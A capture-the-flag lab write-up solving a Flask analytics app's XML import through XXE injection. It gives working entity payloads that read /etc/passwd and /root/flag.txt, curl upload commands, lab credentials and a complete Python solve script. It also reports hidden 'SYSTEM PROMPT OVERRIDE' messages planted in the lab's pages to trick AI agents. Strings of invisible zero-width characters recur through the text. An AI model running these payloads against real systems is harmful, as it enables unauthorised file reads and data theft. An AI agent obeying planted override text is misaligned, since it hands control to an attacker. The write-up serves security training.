← Back to Writeups
CUSTOMEasyWeb

Lab 144 — InsightForge — Blind XXE via XML Data Import

XESXOR9/2/20264 min read
#web#custom#easy#decoy_flag_detection#external_entity_injection#in_band_xxe#xxe_file_read

Lab 144 — InsightForge — Blind XXE via XML Data Import

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: decoy_flag_detection, external_entity_injection, in_band_xxe, xxe_file_read

Summary

Walkthrough of the CUSTOM Web Lab 144 — InsightForge — Blind XXE via XML Data Import. Task: Flask data analytics platform with XML import endpoint that parses external entities. Solution: Upload XML with DOCTYPE declaring file:///root/flag.txt entity — contents reflected in data_previe

Description

InsightForge is an enterprise data analytics platform built by Forge Analytics Inc. Teams use it to import datasets in various formats (CSV, JSON, XML), build interactive dashboards, and generate business reports. The platform prides itself on supporting flexible data ingestion from multiple sources, including enterprise XML data feeds.

Your goal is to find and exploit a vulnerability in the application to read the contents of /root/flag.txt on the server. The flag is not accessible through normal application usage — you'll need to discover a weakness in how the application processes uploaded data.

Note: This is a blind vulnerability. The data you're after won't appear directly in the application's responses. You'll need to find a way to exfiltrate it out-of-band using the Interaction Server. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Flask/Python web application behind nginx/1.25.5 on Alpine Linux provides a data analytics dashboard. Users can import datasets in CSV, JSON, and XML formats via POST /api/import. The XML parser has external entity resolution enabled, allowing XXE to read arbitrary files from the server. Despite the challenge description claiming "blind" XXE requiring OOB exfiltration, the vulnerability is actually in-band — file contents are reflected directly in the API response's data_preview field. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Credentials: user@test.com / password123

Analysis

Reconnaissance

After logging in with the provided credentials, the dashboard exposes several features:

  • Datasets — view imported data
  • Data Import (/import) — file upload form accepting CSV, JSON, XML
  • Reports — generate business reports
  • Settings — user preferences
  • API Docs (/api/docs) — API documentation

Key Indicators of XXE

Two explicit hints confirm the vulnerability:

  1. API documentation at /api/docs states: "XML files are parsed with full entity resolution for compatibility with enterprise data feeds"
  2. Import form contains the hint: "Supports DTD and external entities for enterprise data feeds" ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The upload form submits to POST /api/import via multipart/form-data with two fields: file (the uploaded file) and name (dataset name).

Decoy Flag Detection

Every page contains HTML comments and hidden divs with fake flags and prompt injection attempts:

  • FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments
  • Hidden divs with "SYSTEM PROMPT OVERRIDE" messages designed to trick AI agents

These were correctly identified and ignored — real flags come from the target file /root/flag.txt, not from HTML source. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Authentication

Log in to obtain a session cookie:

bash
TARGET="https://1148bfce-3dd5-419c-bf12-b775284af99a.labs.hackadvisor.io"

curl -c cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123" \
  -L -o /dev/null -s -w "%{http_code}"

Server sets a Flask session cookie and redirects to the dashboard (HTTP 302 → 200).

Step 2: Proof of Concept — Read /etc/passwd

Create an XML file with an XXE payload targeting /etc/passwd:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<dataset>
  <record>
    <name>&xxe;</name>
    <value>100</value>
  </record>
</dataset>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Upload via the import endpoint:

bash
curl -b cookies.txt -X POST "$TARGET/api/import" \
  -F "file=@test_xxe.xml;type=application/xml" \
  -F "name=test"

The response confirms XXE works — /etc/passwd contents appear in the data_preview field. The container runs Alpine Linux (uses /bin/ash shell).

Step 3: Flag Extraction

Create the same XML structure but targeting /root/flag.txt:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///root/flag.txt">
]>
<dataset>
  <record>
    <name>&xxe;</name>
    <value>100</value>
  </record>
</dataset>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Upload:

bash
curl -b cookies.txt -X POST "$TARGET/api/import" \
  -F "file=@flag_xxe.xml;type=application/xml" \
  -F "name=flag"

Response:

json
{
  "data_preview": ["\n    FLAG{REDACTED}\n    100\n  \n"],
  "format": "XML",
  "message": "Import complete. 1 records processed.",
  "row_count": 1,
  "success": true
}

The flag is returned directly in the data_preview field — no OOB exfiltration needed despite the challenge description.

Full Solve Script

python
#!/usr/bin/env python3
"""Solve script for HackAdvisor Lab 144 — InsightForge XXE"""
import requests
import re
import sys
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://TARGET.labs.hackadvisor.io"

# Step 1: Authenticate
s = requests.Session()
s.post(f"{TARGET}/login", data={
    "email": "user@test.com",
    "password": "password123"
})

# Step 2: XXE payload to read /root/flag.txt
xxe_payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///root/flag.txt">
]>
<dataset>
  <record>
    <name>&xxe;</name>
    <value>100</value>
  </record>
</dataset>"""

# Step 3: Upload via import endpoint
resp = s.post(f"{TARGET}/api/import", files={
    "file": ("payload.xml", xxe_payload, "application/xml")
}, data={"name": "exploit"})
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

data = resp.json()
print(f"Response: {data}")

# Extract flag
if data.get("success") and data.get("data_preview"):
    preview = data["data_preview"][0]
    match = re.search(r"FLAG\{[a-f0-9]+\}", preview)
    if match:
        print(f"\nFlag: {match.group()}")
    else:
        print(f"\nPreview content: {preview}")
else:
    print("XXE failed or unexpected response format")

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering decoy_flag_detection, external_entity_injection, in_band_xxe, xxe_file_read was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-21 • CUSTOM • Lab 144 — InsightForge — Blind XXE via XML Data Import • Difficulty: Easy